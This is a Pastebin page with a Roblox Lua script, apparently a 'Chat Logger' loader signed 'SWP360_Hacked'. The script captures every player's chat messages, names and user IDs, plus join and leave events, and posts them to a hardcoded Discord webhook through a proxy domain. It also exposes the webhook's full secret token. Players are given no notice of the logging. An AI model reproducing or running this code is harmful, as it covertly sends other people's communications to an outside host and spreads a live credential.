Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function _G.disc()
- local http = game:GetService("HttpService")
- webhook = "https://discord.osyr.is/api/webhooks/504015211531862016/sMBb0ArvhKlcaAG7WCFq3fy-L17dhJaeyXjBaJj_j0lHzoP9j8PnhZ5IOnf5S2jn0USO"
- local load = {
- content = "ROBLOX to Discord Chat Logger has loaded!";
- username = "Loader | Made by: SWP360_Hacked | Place 1";
- avatar_url = "http://www.roblox.com/Thumbs/Avatar.ashx?x=100&y=100&Format=Png&userId=294032540"
- }
- http:PostAsync(webhook, http:JSONEncode(load))
- for i,v in pairs(game:GetService'Players':GetPlayers()) do
- v.Chatted:Connect(function(msg)
- -- if string.find(msg, "h/") or string.find(msg, "r/") then
- -- return
- -- else
- local data = {
- content = msg;
- username = v.Name;
- avatar_url = "http://www.roblox.com/Thumbs/Avatar.ashx?x=100&y=100&Format=Png&userId="..v.UserId
- }
- http:PostAsync(webhook, http:JSONEncode(data))
- -- end
- end)
- end
- game:GetService("Players").PlayerAdded:Connect(function(v)
- v.Chatted:Connect(function(msg)
- -- if string.find(msg, "h/") or string.find(msg, "r/") then
- -- return
- -- else
- local data = {
- content = msg;
- username = v.Name;
- avatar_url = "http://www.roblox.com/Thumbs/Avatar.ashx?x=100&y=100&Format=Png&userId="..v.UserId
- }
- http:PostAsync(webhook, http:JSONEncode(data))
- -- end
- end)
- local join = {
- content = "Player named: "..v.Name.." has joined!";
- username = v.Name;
- avatar_url = "http://www.roblox.com/Thumbs/Avatar.ashx?x=100&y=100&Format=Png&userId="..v.UserId
- }
- http:PostAsync(webhook, http:JSONEncode(join))
- end)
- game:GetService("Players").PlayerRemoving:Connect(function(v)
- local leave = {
- content = "Player named: "..v.Name.." has left!";
- username = v.Name;
- avatar_url = "http://www.roblox.com/Thumbs/Avatar.ashx?x=100&y=100&Format=Png&userId="..v.UserId
- }
- http:PostAsync(webhook, http:JSONEncode(leave))
- end)
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement